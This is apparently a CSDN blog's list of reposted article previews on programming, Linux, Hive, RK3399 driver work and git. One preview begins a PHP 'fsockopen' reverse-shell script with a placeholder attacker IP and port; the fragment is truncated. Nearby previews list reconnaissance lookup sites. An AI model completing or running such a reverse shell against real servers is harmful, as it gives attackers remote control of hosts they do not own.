weixin_30273931的博客

私信 关注
weixin_30273931
码龄6年
  • 369,233
    被访问量
  • 暂无
    原创文章
  • 54,201
    作者排名
  • 49
    粉丝数量
  • 于 2015-07-31 加入CSDN
获得成就
  • 获得64次点赞
  • 内容获得0次评论
  • 获得397次收藏
荣誉勋章
  • 最近
  • 文章
  • 资源
  • 问答
  • 课程
  • 帖子
  • 收藏
  • 关注/订阅

这里有一份工程师“变软”的修炼攻略

引言工程师是一群非常可爱的人群,他们沉迷于技术,聪明、勤奋、坦率、专注,都是非常硬核的,一言不合就Show me the code。坚硬的内核固然重要,但要想过好一生,需要学习很多事情,尤其是人人都在讲的“软技能”,这是一项比技术还要花更多时间修炼的能力。读书是学习最好的方式,而刻意的、体系化的学习效果更好,因此我们看看如何通过书单来构建自己的软实力。知识图谱...
转载
137阅读
0评论
0点赞
发布博客于 2 年前

一文道尽JavaScript 20年的发展史

作者介绍:Andrew Montalenti是Parse.ly的CTO, 一个长期的Python爱好者,以及初创公司和其他项目的创始人。原文链接:https://amontalenti.com/2019/08/10/javascript-the-modern-parts在过去的几个月里,我通过Node 8,Webpack 4和B...
转载
509阅读
0评论
0点赞
发布博客于 2 年前

前端工程师如何才能不焦虑?

引言进入2019年,中国互联网充满了焦虑的气息,不断有各种负面的消息,年初的互联网行业的集体大裁员,让大家真实感受了一下互联网下半场的变化。外企最近几年持续的退出中国,裁撤国内研发中心,曾经高大上的代表也逐步褪去了光鲜的外表,不过好在补偿并不亏待,加上外企培养的良好个人素质,再出发也许并不困难。但是,国内的996是否还能适应呢?中兴41岁员工在被裁后跳楼自杀,让人不禁扼腕,中...
转载
129阅读
0评论
0点赞
发布博客于 2 年前

huffman 树

所有叶子节点的权重与该叶子节点到根节点的路径长度乘积的和最小1、选取两个权重最小的节点,作为左右节点生成新节点2、删除选取的两个权重最的节点,同时添加新生成的节点3、重复以上步骤转载于:https://www.cnblogs.com/smallredness/p/11459849.html...
转载
104阅读
0评论
0点赞
发布博客于 2 年前

决策树

1、求类别熵2、求特征条件下的类别熵3、选择类别熵大的特征作为分类特征构建方法:1、ID3 信息熵增益:2、C4.5 信息熵增益率:3、CARTGini指数:只能用于切分二叉树,不会在每个步骤中删除使用的特征过拟合:剪枝转载于:https://www.cnblogs.com/smallredness/p/11438523.html...
转载
60阅读
0评论
0点赞
发布博客于 2 年前

mount --bind绑定命令

将目录或文件DirFile-1绑定到目录或文件DirFile-2上,所有对DirFile-2的访问就是对DirFile-1的访问mount --bind [DirFile-1] [DirFile-2] 解除DirFile-2上的绑定umount [DirFile-2]转载于:https://www.cnblogs.com/smallredness/p/11295130.htm...
转载
65阅读
0评论
0点赞
发布博客于 2 年前

shell-数组

marr=(a b c)for i in ${marr[@]}do echo "${i}"done转载于:https://www.cnblogs.com/smallredness/p/11532792.html
转载
53阅读
0评论
0点赞
发布博客于 2 年前

std::string::substr函数

string substr (size_t pos = 0, size_t len = npos) const;转载于:https://www.cnblogs.com/smallredness/p/11236220.html
转载
246阅读
0评论
0点赞
发布博客于 2 年前

精确率和召回率

精确率:预测正确的正样本个数占(所有模型预测为正样本个数)的比例召回率:预测正确的正样本个数占(样本中所有正样本个数)的比例转载于:https://www.cnblogs.com/smallredness/p/11446970.html...
转载
61阅读
0评论
0点赞
发布博客于 2 年前

alg-最长公共子串

class Solution {public: const std::vector<std::string> LongestCommonSubstring(const std::string& s1, const std::string& s2) { if (s1.empty() || s2.empty()) { ...
转载
24阅读
0评论
0点赞
发布博客于 2 年前

B树与B+树

对于m阶的树:1、根节点至少有2个节点,最多m个节点2、其他的节点至少有m/2个节点,最多m个节点3、叶子节点在同一层转载于:https://www.cnblogs.com/smallredness/p/11436806.html...
转载
13阅读
0评论
0点赞
发布博客于 2 年前

shell-function 删除目录和文件

function sDelDirFile() { if [ "$#" -eq 1 ];then if [ -e "$1" ];then rm "$1" -rf echo "delete:$1" else echo "no exist:$1" fi el...
转载
28阅读
0评论
0点赞
发布博客于 2 年前

awk线程号

for i in `ps|grep [a]out|awk '{print $1}'`do kill -9 "$i"done转载于:https://www.cnblogs.com/smallredness/p/11274187.html
转载
30阅读
0评论
0点赞
发布博客于 2 年前

std::string::copy函数

size_t copy (char* s, size_t len, size_t pos = 0) const;转载于:https://www.cnblogs.com/smallredness/p/11236209.html
转载
39阅读
0评论
0点赞
发布博客于 2 年前

cgdb使用方法

cgdb --args [exe_name] [arg1] [arg2] [arg3] [...]进入代码窗口按ESC键进入调试窗口按i键调试命令r 运行n 单步执行(不进入函数)s 单步执行(进入函数)c 执行到断点u 执行到指定行(until)finish 从进入的函数中退出break 设置断点(在代码窗口用空格键设置断点)p 显示变量值p [变量名]p...
转载
201阅读
0评论
0点赞
发布博客于 2 年前

alg-最长公共子序列

class Solution {public: std::string LongestCommonSubsequence(const std::string& s1, const std::string& s2) { if (s1.empty()||s2.empty()) { return 0; } ...
转载
23阅读
0评论
0点赞
发布博客于 2 年前

alg-查找只出现一次的数

//只有2个数出现1次,其余的数都出现2次class Solution {public: vector<int> singleNumber(const vector<int>& nums) { int diff = accumulate(nums.begin(), nums.end(), 0, bit_xor<int>...
转载
19阅读
0评论
0点赞
发布博客于 2 年前

红黑树

1、根节点是黑节点2、红节点的子节点是黑节点3、任一节点到任一叶子节点的所有路径上的黑节点个数相等转载于:https://www.cnblogs.com/smallredness/p/11422589.html...
转载
26阅读
0评论
0点赞
发布博客于 2 年前

alg-链表中有环

typedef struct ListNode { int val; ListNode *next; ListNode(int x) : val(x), next(nullptr) {}}ListNode;class Solution {public: //链表中是否有环 bool hasCycle(ListNode* head) { ...
转载
22阅读
0评论
0点赞
发布博客于 2 年前

ln -s 软链接命令

所有对软链接link_name的操作都是对目录或文件dir_file的操作ln -s [dir_file] [link_name]转载于:https://www.cnblogs.com/smallredness/p/11295169.html
转载
20阅读
0评论
0点赞
发布博客于 2 年前

js用正则表达式替换字符串中的图片地址(img src),期望取到src值,出来的却是完整的标签问题...

开发中遇到需要匹配htmk字符串中包含的所有img src的值,要用正则表达式去匹配出来,用在线正则测试工具测试,/<img [^>]*src=['"]([^'"]+)[^>]*>/,可以匹配到html中的src值,但是用在js上输出的结果却是:<img src="http://static.cnblogs.com/images/logo_small.gif...
转载
337阅读
0评论
0点赞
发布博客于 2 年前

easyui (combobox或者combogrid)下拉框在点击其他地方时候会回缩,期望效果为下拉框一直处于展开状态...

需求:点击左侧的用户,右侧能够显示点击的用户,达到类似QQ群添加群成员的效果思路设计:依靠easyui自带的Combogrid实现,combogrid有onSelect方法,能够在选中下拉框选项时候触发动作,这时候配合{  $("#xxx").combogrid("setValue", item); //需重新赋值(这个地方需要再重新赋值一次)  var grid...
转载
88阅读
0评论
0点赞
发布博客于 2 年前

.net core@

.net core的razor view中,能够通过@Model,传入controller中的model,@之后可以写C#代码,但是遇到一个问题,就是需要在里面写一段邮箱的正则表达式中,有一段这样子的代码:var reg = "/^(\w-*\.*)+@(\w-?)+(\.\w{2,})+$/";其中有@符号,页面会报错,查了很多相关文档,都没有相关的解决方案。最后的解决方案是,...
转载
55阅读
0评论
0点赞
发布博客于 2 年前

解决坑爹的input框自动填充密码和密码历史记录

1.input框会自动填充密码 原因:浏览器会根据用户已经保存过的密码,在type为password的input中自动填充密码目前的解决办法是设置一个隐藏的inpu让他填充//隐藏<input type="password" class="form-control" name="SecretOld" style="display:none" />...
转载
1019阅读
0评论
0点赞
发布博客于 2 年前

js页面传递参数为中文乱码问题解决方法

js的页面传递中,如果url有携带中文参数传递,会出现乱码,解决办法如下:给所传递的参数加上两层的转码 encodeURI(encodeURI(Name))并且在接收的页面对参数加上两层的解码 decodeURI(decodeURI(Name))转载于:https://www.cnblogs.com/ack6165/p/11387015.html...
转载
598阅读
0评论
0点赞
发布博客于 2 年前

easyui 下拉框高度大于实际值

解决方法:加入属性:panelHeight:"auto"转载于:https://www.cnblogs.com/ack6165/p/11264628.html
转载
20阅读
0评论
0点赞
发布博客于 2 年前

OpenLDAP管理命令详解

一、OpenLDAP命令汇总ldapsearch:搜索 OpenLDAP 目录树条目。ldapadd:通过 LDIF 格式,添加目录树条目。ldapdelete:删除 OpenLDAP 目录树条目。ldapmodify:修改 OpenLDAP 目录树条目。ldapwhoami:效验 OpenLDAP 用户的身份。ldapmodrdn:判断 OpenLDAP 目...
转载
227阅读
0评论
0点赞
发布博客于 2 年前

CDH集群部署hive建表中文乱码

背景:部署CDH集群的 hive 服务,选用 mysql 作为 hive 元数据的存储数据库,通过 hive cli 建表时发现中文注释均乱码。现象:hive端建表中文注释乱码。定位:已经确认过mysql 库的默认编码是 utf-8,并且 mysql 中建库建表不存在中文乱码的情况。于是查看hive库表的编码,分别通过如下方式查看hive库和随机某个表的编码,发现h...
转载
185阅读
0评论
0点赞
发布博客于 2 年前

InfluxDB+Grafana大数据监控系列之基础环境部署(一)

一、单节点环境部署机器节点信息及 InfluxDB、Grafana 版本选择:节点Linux版本部署服务10.223.1.198Centos 6.8InfluxDB 1.7.710.223.1.199Centos 6.8Grafana 5.4.41.1 InfluxDB 环境部署1. InfluxDB...
转载
49阅读
0评论
0点赞
发布博客于 2 年前

Centos 6.8环境下OpenLDAP安装与部署

一、OpenLDAP介绍LDAP 全称轻量级目录访问协议(英文:Lightweight Directory Access Protocol),是一个运行在 TCP/IP 上的目录访问协议。LDAP实现提供被称为目录服务的信息服务,可以看做是一张特殊的数据库系统。可以有效的解决众多网络服务的用户账户问题,规定了统一的身份信息数据库、身份认证机制和接口,实现了资源和信息的统一管理,保证了...
转载
60阅读
0评论
0点赞
发布博客于 2 年前

Hive实现WordCount详解

一、WordCount原理初学MapReduce编程,WordCount作为入门经典,类似于初学编程时的Hello World。WordCount的逻辑就是给定一个/多个文本,统计出文本中每次单词/词出现的次数。网上找的一张MapReduce实现WordCount的图例,基本描述清楚了WordCount的内部处理逻辑。本文主要是从Hive使用的角度处理WordCount,就不赘述,...
转载
48阅读
0评论
0点赞
发布博客于 2 年前

pyenv管理python版本

一、介绍pyenv 是 Python 版本管理工具。 pyenv 可以改变全局的 Python 版本,安装多个版本的 Python, 设置目录级别的 Python 版本,还能创建和管理 virtual python environments 。所有的设置都是用户级别的操作,不需要 sudo 命令。pyenv 主要用来管理 Python 的版本,比如一个项目需要 Python 2....
转载
66阅读
0评论
0点赞
发布博客于 2 年前

Hive之insert into与insert overwrite区别

一、实践先行,直接上手1. hive 表及数据准备建表,并插入初始数据。向表中插入hive> use test;hive> create table kwang_test (id int, name string);hive> insert into kwang_test values(1,'kwang');hive> insert i...
转载
527阅读
0评论
0点赞
发布博客于 2 年前

python2.6.6升级python2.7.14

Centos 6.8系统镜像默认安装的 python 环境是 2.6.6,线上需求需要升级到 2.7.14 版本,网上找了相关资料,升级 python 版本比较容易,但 yum/pip 等命令的使用也会有问题,网上的资料是修改脚本#!/usr/bin/python 的头文件,个人感觉麻烦,还是直接升级比较好,不用修改任何系统脚本。一、环境下载// 下载python2.7.1...
转载
32阅读
0评论
0点赞
发布博客于 2 年前

InfluxDB权限认证机制

一、介绍权限认证机制,顾名思义,就是对 InfluxDB 数据库添加权限访问控制,在默认情况下,InfluxDB 的权限认证机制是关闭的,也就是说所有用户都有所有权限。老规矩,直接实践上手,下图是 InfluxDB 开启权限认证机制后,登录数据库后 'show databases;' 提示权限认证失败,即无法查看数据库信息。$ influx -precision rfc3...
转载
739阅读
0评论
0点赞
发布博客于 2 年前

CDH集群手动导入scm库

一、手动导入 scm 库背景:正常安装 cloudera-scm-server 时,安装 scm 库是通过脚本/usr/share/cmf/schema/scm_prepare_database.sh 来自动建库的。/usr/share/cmf/schema/scm_prepare_database.sh mysql -h<mysql-host> -u<...
转载
81阅读
0评论
0点赞
发布博客于 2 年前

InfluxDB+Grafana大数据监控系列之数据源配置(二)

一、Grafana 配置 InfluxDB 数据源1.1 登录 Granfana 界面选择 InfluxDB 数据源在前面我们已经部署好相应监控环境,登录Grafana:http://10.223.1.199:3000/,登录密码默认是 admin / admin,初次登录时会要求修改密码。进入 Settings -> Data Sources -> Add da...
转载
48阅读
0评论
0点赞
发布博客于 2 年前

Linux hostname介绍

以下操作均时基于 Centos 6.8 操作。一、现象在平时工作中,当需要修改主机名时,我们一般会这样操作:第一步,通过 hostname 命令临时修改主机名。hostname kwang-test01第二步,修改配置文件,保证机器重启时主机名不会变。$ cat /etc/sysconfig/networkNETWORKING=yesHOSTN...
转载
16阅读
0评论
0点赞
发布博客于 2 年前

笨小康的博客总览

大数据【Hadoop】Hadoop 常用命令介绍MapReduce编程实例【Hive】Hive实现WordCount详解Hive之insert into与insert overwrite区别ClouderaCloudera Manager 概念介绍LinuxLinxu hostname 介绍PythonPython操作MySQLJav...
转载
22阅读
0评论
0点赞
发布博客于 2 年前

Java50题——学习以及思考

1 /* 2 【程序1】 3 题目:古典问题:有一对兔子,从出生后第3个月起每个月都生一对兔子, 4 小兔子长到第三个月后每个月又生一对兔子,假如兔子都不死, 5 问每个月的兔子对数为多少? 6 分析: 7 1 1 2 3 5 8 13 8 x3=x2+x1 9 反思:代码逻辑清晰,每次结果等于前两之和。10 尝试更复杂的递归调用解决问题。...
转载
61阅读
0评论
0点赞
发布博客于 2 年前

零碎

数据库在的文件夹转载于:https://www.cnblogs.com/lanbofei/p/11413585.html
转载
17阅读
0评论
0点赞
发布博客于 2 年前

4.利用guns进行开发——订单业务(增删改查)

一 准备数据库二利用MyBatisPlus代码生成器,生成表对应的实体和数据库操作DAO使用MyBatisPlus类生成实体 和DAO。修改:gc.setOutputDir(“”)修改为自己的目录。src/main/java 右击copy pathgc.setAuthor("lanbofei826");修改作者名称修改:修改为自己的数据库...
转载
214阅读
0评论
0点赞
发布博客于 2 年前

05Java方法概述和格式说明

方法概述:可重复调用的一段代码假设有一个游戏程序,程序在运行过程中,要不断地发射炮弹(植物大战僵尸)。发射炮弹的动作需要编写100行的代码,在每次实现发射炮弹的地方都需要重复地编写这100行代码,这样程序会变得很臃肿,可读性也非常差。为了解决代码重复编写的问题,可以将发射炮弹的代码提取出来放在一个{}中,并为这段代码起个名字,这样在每次发射炮弹的地方通过这个名字来调用发射炮弹的代码就...
转载
48阅读
0评论
0点赞
发布博客于 2 年前

测试

666转载于:https://www.cnblogs.com/frankybpx/p/11384483.html
转载
24阅读
0评论
0点赞
发布博客于 2 年前

day4

第一阶段:Python开发基础 day04 课后作业1.简述python的五大数据类型的作用、定义方式、使用方法数字类型字符串类型列表字典布尔型答:数字类型分为整型(int)和浮点型(float):整型的作用:表示人的年龄、各种号码、级别等定义方式:age = 18 / age = int(18)使用方式:加减乘除、逻辑判断(大于、小于)浮点型的作用:表示身高、体重...
转载
51阅读
0评论
0点赞
发布博客于 2 年前

网络编程总结

网络编程总结socket, socket套接字分类, 基于tcp的socket, 常见错误复制代码img  ##为什么需要socket复制代码“”“在标准的OIS模型中并没有规定说必须有socket层,也就是说不使用socket也能完成通讯,是的,的确如此!那为什么需要socket呢?一个字 懒,程序员都是懒的!我们发现还没有开始实现应用程序逻辑,就需要花大把时间来实现...
转载
508阅读
0评论
1点赞
发布博客于 2 年前

并发编程总结

背景知识  顾名思义,进程即正在执行的一个过程。进程是对正在运行程序的一个抽象。  进程的概念起源于操作系统,是操作系统最核心的概念,也是操作系统提供的最古老也是最重要的抽象概念之一。操作系统的其他所有内容都是围绕进程的概念展开的。  所以想要真正了解进程,必须事先了解操作系统    PS:即使可以利用的cpu只有一个(早期的计算机确实如此),也能保证支持(伪)并发的能力。将一个...
转载
65阅读
0评论
0点赞
发布博客于 2 年前

并发编程之Process的join和其它用法

目录上节课内容回顾一、Process的join用法二、Process的其他用法三、Process的name和is_alive(了解)四、Process的terminal(了解)五、守护进程六、抢票小程序上节课内容回顾'''操作系统*****串行:一个完完整整执行完再并发:看起来是同时运行 单核并行:真正的同时运行多道技术:空间复用:共用一个内存条,多个进程...
转载
109阅读
0评论
0点赞
发布博客于 2 年前

并发编程之进程创建

目录一、开启子进程的方式一二、开启子进程的方式——多个子进程三、开启子进程方式二四、验证进程的内存空间隔离总结一、开启子进程的方式一from multiprocessing import Processimport timedef task():print('进程 start')time.sleep(2)print('进程 end')if name == 'ma...
转载
64阅读
0评论
0点赞
发布博客于 2 年前

多线程

初识别线程.在传统操作系统中,每个进程有一个地址空间,而且默认就有一个控制线程,cpu真正的执行单位是线程.在工厂中, 每个车间都有房子,而且每个车间默认就有一条流水线.操作系统 ===> 工厂进程 ===> 车间线程 ===> 流水线cpu ===> 电源线程:cpu最小的执行单位进程:资源集合/资源单位.线程运行 = 运行代码进程运行 = ...
转载
56阅读
0评论
0点赞
发布博客于 2 年前

面向对象三大特性

第一阶段:Python开发基础 day24 面向对对象三大特性之继承目录上节课内容回顾本节课主要学习内容--三大特性之继承一、什么是继承二、如何使用继承三、使用继承的好处四、继承重用父类的两种方法方法一:-指名道姓的使用方法二:通过super关键字五、继承属性查找顺序今日总结上节课内容回顾-类与对象-对象有:数据属性(变量),方法属性(方法)-对象中可以嵌套...
转载
56阅读
0评论
0点赞
发布博客于 2 年前

计算机基础小结

计算机基础之编程编程语言是人与计算机交流的介质编程是通过编程语言编写一大堆文件为什么要编程-->奴役计算机,让计算机帮我们干活计算机组成CPU控制器运算器内存外存输入设备输出设备IO设备32位和64位多核CPU应用程序的启动机械硬盘工作原理机械手臂磁道扇区平均寻道时间平均延迟时间平均寻找数据时间固态硬盘工作原理计算机操...
转载
72阅读
0评论
0点赞
发布博客于 2 年前

利用多线程使socket服务端可以与多个客户端同时通讯

# 服务端代码from threading import Threadimport socketimport timesoc = socket.socket(socket.AF_INET,socket.SOCK_STREAM)soc.bind(('127.0.0.1',8888))soc.listen(3)print('wait client...')def task(c...
转载
206阅读
0评论
0点赞
发布博客于 2 年前

线程锁

from threading import Thread,Lockx= 0mutex = Lock()def task():global xmutex.acquire()for i in range(1000000):x = x+1mutex.release()# 开启线程锁线程就只能一个一个去执行,执行完了再去执行下一个线程,保证数据安全if name == '...
转载
102阅读
0评论
0点赞
发布博客于 2 年前

函数基础小结

函数的定义def 函数名(): code return 返回值定义函数的三种方法有参函数无参函数空函数函数返回值return 终止函数返回值 可以返回多个值, 以元组形式存储默认返回NoneNonetype ....函数调用函数名()函数的参数形参描述意义位置形参一个一个从左到右默认形参默认值, 默认形参必须放在位置形参的后...
转载
56阅读
0评论
0点赞
发布博客于 2 年前

[RK3399] Jack server installation not found

CPU:RK3399系统:Android 7.1服务器上第一次编译 Android 7.1 的代码,提示 Jack server 没有安装。Jack server installation not found下面开始安装 Jack server,进入 Android 源码根目录,执行下面的指令,就会安装 Jack server$ cd prebuilt...
转载
255阅读
0评论
0点赞
发布博客于 2 年前

[Linux] 创建、删除用户

系统:Ubuntuuseradd:创建新用户或更新默认新用户信息创建新用户 xxx,/home 目录没有同名文件夹,并且此用户没有 shell 权限$ sudo useradd xxx创建新用户 xxx,用在 /home 目录创建同名文件夹,并作为此用户的主目录$ sudo useradd -m xxx创建新用户 xxx,并添加 shell ...
转载
51阅读
0评论
0点赞
发布博客于 2 年前

[RK3399] 虚拟按键栏显示不全或者方向不对

CPU:RK3399系统:Android 7.1同样的系统代码,换了一个小分辨率的屏,虚拟按键栏就出现显示不全,而且方向不对出现这种问题的原因是显示密度和屏不匹配,需要适当的降低显示密度即可diff --git a/device/rockchip/rk3399/rk3399_all/system.prop b/device/rockchip/rk33...
转载
148阅读
0评论
0点赞
发布博客于 2 年前

[Ubuntu] 14.04版本安装JDK8失败

系统:Ubuntu 14.04编译 Android 7.1 系统需要 JDK 8,但是安装时失败,$ sudo apt install openjdk-8-jdkReading package lists... DoneBuilding dependency tree Reading state information... DoneE: Unable ...
转载
80阅读
0评论
0点赞
发布博客于 2 年前

[RK3399] 调试串口ttyS2改为普通串口

CPU:RK3399系统:Android 7.1串口需求量大时,会选择使用 spi 转串口,但是数据量大或者波特率较高时,传输会丢包。调试串口 ttyS2 也可以让出来,供上层使用,下面是将 ttyS2 改为普通串口。1、在配置文件中关闭 FIQ使用 rockchip_defconfig 文件,就在此文件中修改diff --git a/kerne...
转载
807阅读
0评论
0点赞
发布博客于 2 年前

[RK3399] /bin/sh: 1: lz4c: not found

CPU:RK3399系统:Android 8.1第一次在 RK3399 编译 Android 8.1 的系统,编译内核过程中报错如下:/bin/sh: 1: lz4c: not foundmake[1]: *** [arch/arm64/boot/Image.lz4] 错误 1make: *** [Image.lz4] 错误 2提示指令 lz4c ...
转载
281阅读
0评论
0点赞
发布博客于 2 年前

[RK3399] Type-C改为MicroUSB

CPU:RK3399系统:Android 7.1.2为了降低成本,主板将 Type-C 改为 MicroUSB 接口,节省了 fusb302芯片参考 Rockchip 的官方文档第4部分:Micro USB2.0 OTG DTS配置RKDocs/common/usb/Rockchip-Developer-Guide-Linux4.4-RK3399-USB-DTS-C...
转载
522阅读
0评论
0点赞
发布博客于 2 年前

[Ubuntu] A start job is running for...interfaces

CPU:RK3288系统:Linux移植 Ubuntu 16.04 到嵌入式平台,如果以太网有问题,在这里会耗时大约5分钟开机后可以修改 Ubuntu 配置来缩短时间打开下面的文件,可以看到最后一行TimeoutStartSec 设置的是 5 分钟sudo vim /etc/systemd/system/network-online.target.w...
转载
113阅读
0评论
0点赞
发布博客于 2 年前

[Linux] pwm设备驱动调试

CPU:RK3288系统:Linux客户需求是通过 pwm 控制激光的强弱,写驱动前,需要先了解几个相关的概念和相关函数概念:PWM:脉冲宽度调试(Pulse width modulation),最典型的应用是调节 LED 的亮度占空比:高电平或者低电平时间占一个周期时间的比例驱动中 pwm 相关函数:/* * 功能:申请pwm设备...
转载
225阅读
0评论
0点赞
发布博客于 2 年前

Linux 安装软件报错 Sub-process /usr/bin/dpkg returned an error code (1)

Linux 通过 apt-get 安装软件时报错,换一个软件安装也一样。Errors were encountered while processing:bluemanE: Sub-process /usr/bin/dpkg returned an error code (1)解决办法:root@ubuntu:/# cd /var/lib/dpkg/...
转载
25阅读
0评论
0点赞
发布博客于 2 年前

Linux perl: warning: Setting locale failed.perl: warning: Please check that your locale settings:

使用 apt-get 安装软件时,总是出现下面的错误。perl: warning: Setting locale failed.perl: warning: Please check that your locale settings:LANGUAGE = "en_US:",LC_ALL = (unset),LANG = "en_US.UTF-8"are su...
转载
31阅读
0评论
0点赞
发布博客于 2 年前

[RK3399] 汇顶gt9xx触摸屏在RK原始代码调试

CPU:RK3399系统:Android 7.1触摸屏:1024x768 8inch触摸IC:GT9271基于RK3399,从瑞芯微服务器更新到最新的 Android 7.1 代码中,瑞芯微已经将汇顶触摸屏的代码做了一些改动,与汇顶官方提供的不一致。初步来看,瑞芯微更改后的代码,为开发者提供了更多的便利。比如:x/y坐标反了,x、y坐标镜像了,这些问题开...
转载
460阅读
0评论
0点赞
发布博客于 2 年前

RK3399 修改系统默认语言为简体中文

CPU:RK3288系统:Android 7.1修改系统默认语言为简体中文diff --git a/build/target/product/full_base.mk b/build/target/product/full_base.mkindex 65bdf0f..5fd7be6 100644--- a/build/target/product/full_...
转载
247阅读
0评论
0点赞
发布博客于 2 年前

[Ubuntu] 移植Ubuntu16.04根文件系统到嵌入式平台

CPU:RK32881、通过 ubuntu cdimage 下载 ubuntu16.04 内核,以下两种方式都可以在 windows 系统网页中下载http://cdimage.ubuntu.com/ubuntu-base/releases/16.04/release版本:ubuntu-base-16.04-core-armhf.tar.gz在 linux 系...
转载
543阅读
0评论
0点赞
发布博客于 2 年前

RK3399 focaltech敦泰触摸屏移植调试

CPU:RK3399系统:Android 7.1IC:FT5406focaltech(敦泰)触摸屏也是比较常用的,但是相对汇顶,就比较少用RK的源码中虽然有focaltech 的代码,但没有调试过,一般都会用供应商提供的代码供应商会提供一个名为 focaltech_touch 的文件夹,里面包括触屏所有代码我们要做的就是将代码移植到 kernel 中...
转载
421阅读
0评论
1点赞
发布博客于 2 年前

RK3399 删除开机锁屏界面

CPU:RK3399系统:Android 7.1删除开机锁屏界面diff --git a/frameworks/base/packages/SettingsProvider/res/values/defaults.xml b/frameworks/base/packages/SettingsProvider/res/values/defaults.xmlinde...
转载
97阅读
0评论
0点赞
发布博客于 2 年前

RK3399 4G模块移远EC20移植调试

转载请注明出处:https://www.cnblogs.com/lialong1st/p/11266330.htmlCPU:RK3399系统:Android 7.11、通过串口打印或者adb获取模块的 pid 和 vid,顺便可以看到生成 4 个虚拟串口 /dev/ttyUSB*[ 11.734379] usb 1-1.1: new high-speed ...
转载
669阅读
0评论
0点赞
发布博客于 2 年前

RK3288 st7703 mipi屏指令过长,程序跑飞

本文为博主原创文章,转载请注明出处:https://www.cnblogs.com/lialong1st/p/11218433.htmlCPU:RK3288系统:Android 5.1调试 mipi 屏前,先关闭了 uboot 的 logo 显示rockchip,uboot-logo-on = <0>;屏调试完成后,打开 uboot 的 log...
转载
139阅读
0评论
0点赞
发布博客于 2 年前

Git .gitignore中已添加文件路径,但仍未被忽略

当文件之前已经被提交到仓库后,后面即使将文件路径添加到 .gitignore ,使用 git status 命令,依然会看到文件被修改。$ git status 位于分支 master您的分支与上游分支 'origin/master' 一致。尚未暂存以备提交的变更: (使用 "git add <文件>..." 更新要提交的内容) (使...
转载
154阅读
0评论
0点赞
发布博客于 2 年前

Git git rm和git rm --cached

git rm 和 git rm --cached 的区别git rm filegit commit -m "xxx"git push origin master删除本地及仓库中的文件git rm --cached filegit commit -m "xxx"git push origin master删除仓库中的文件,保留本地...
转载
94阅读
0评论
0点赞
发布博客于 2 年前

Linux 使用 you-get 指令下载网页视频

今天无意中发现一个下载网页视频的好办法在 Linux 系统中,可以利用 you-get 指令直接下载网页中的视频1、更新sudo apt-get update2、安装 pipsudo apt-get install python3-pip3、安装 you-getsudo pip3 install you-get4、下载网页视频you-get -o...
转载
445阅读
0评论
0点赞
发布博客于 2 年前

fsockopen反弹shell脚本

<?php error_reporting (E_ERROR);ignore_user_abort(true);ini_set('max_execution_time',0);$os = substr(PHP_OS,0,3);$ipaddr = 'x.x.x.x';$port = '443';$descriptorspec = array(0 =...
转载
42阅读
0评论
0点赞
发布博客于 2 年前

常用的一些子域名,旁站等查询网站

子域名,旁站https://tools.ipip.net/ipdomain.php?ip=x.x.x.xhttps://cn.bing.com/search?q=ip:x.x.x.xBing搜索https://api.hackertarget.com/reverseiplookup/?q=xxx.comhttps://securitytrails.com/dns-trails比较常...
转载
1617阅读
0评论
1点赞
发布博客于 2 年前

LOG日志溯源取证总结

windows操作系统事件日志C:\Windows\System32\winevt\Logs\ *(XPC:\Windows\System32)应用程序日志 App Event.Evtx(Application.evtx)安全日志 SecEvent.Evtx系统日志 SysEvent.EvtxUSB设备第一次连接电脑:setupapi.logWin...
转载
409阅读
0评论
0点赞
发布博客于 2 年前

Windows应急日志常用的几个事件ID

Windows应急日志常用的几个事件ID点击站内没有搜索到,可能搜索姿势不对,发一下吧,应急时可能会用到,根据日志时间点判断入侵日志路径:C:\Windows\System32\winevt\Logs查看日志:Security.evtx、System.evtx、Application.evtx如何查看:右键我的电脑-管理-系统工具-事件查看器,或者eventvwr查看事件...
转载
1563阅读
0评论
1点赞
发布博客于 2 年前

[hdu contest 2019-07-29] Azshara's deep sea 计算几何 动态规划 区间dp 凸包 graham扫描法...

今天hdu的比赛的第一题,凸包+区间dp。给出n个点m个圆,n<400,m<100,要求找出凸包然后给凸包上的点连线,连线的两个点不能(在凸包上)相邻,连线不能与圆相交或相切,连线不能相交但是可以有公共端点。首先找出凸包,然后把n*n条边和m个圆算点到直线距离验证一下边是否与圆相交存到e[n][n]里。然后显然是一个dp,但是我开始看错题目了以为不能有公共端点,能...
转载
24阅读
0评论
0点赞
发布博客于 2 年前

POJ 2987 Firing 最大流 网络流 dinic 模板

https://www.cnblogs.com/137shoebills/p/9100790.htmlhttp://poj.org/problem?id=2987之前写过这道题,码一个dinic的最大流板子。经典问题,选了一个点就有些点必须选,输出使选出的点的权值和最大的最少点数,并输出该权值和。建图就是s向权值为正的点连流量为val的边,权值为负的点向t连流量为-val...
转载
23阅读
0评论
0点赞
发布博客于 2 年前

maven文件配置

<?xml version="1.0" encoding="UTF-8"?><settings xmlns="http://maven.apache.org/SETTINGS/1.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apac...
转载
68阅读
0评论
0点赞
发布博客于 2 年前

POM文件配置

<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven...
转载
85阅读
0评论
0点赞
发布博客于 2 年前

java编码中注意问题的总结

1. java中的浮点数比较事项1.1若精度要求不高,比如因为传感器有误差,小于0.001的数都可以认为等于0,那么就定义epsilon=0.001:1 private final double epsilon = 1e-9; 2 double double_x = 0.0;3 if(Math.abs(double_x - 0) < epsilon) ...
转载
25阅读
0评论
0点赞
发布博客于 2 年前

解决gerrit提交出现 [remote rejected] HEAD -> refs/for/develop ([78076ad] missing Change-Id in commit messa...

图 1问题出现的原因在于gerrit的提交需要每次commit或pull都要有Change-Id,如图1 所示,第二个commit没有Change-Id。修改方法:在git pull 之后,输入命令:1 gitdir=$(git rev-parse --git-dir); scp -p -P 29418 10261125@gerrit.zte.com.cn:hooks...
转载
1188阅读
0评论
1点赞
发布博客于 2 年前

假设检验(Hypothesis Testing)

假设检验的定义假设检验:先对总体的某个指标提出某种假设,然后利用样本数据判断假设是否成立。在逻辑上,假设检验采用了反证法,即先提出假设,再通过适当的统计学方法证明这个假设基本不可能是真的。(说“基本”是因为统计得出的结果来自于随机样本,结论不可能是绝对的,所以我们只能根据概率上的一些依据进行相关的判断。)假设检验依据的是小概率思想,即小概率事件在一次试验中基本上不会发生。也...
转载
429阅读
0评论
0点赞
发布博客于 2 年前

用户路径分析(User Path Analysis)

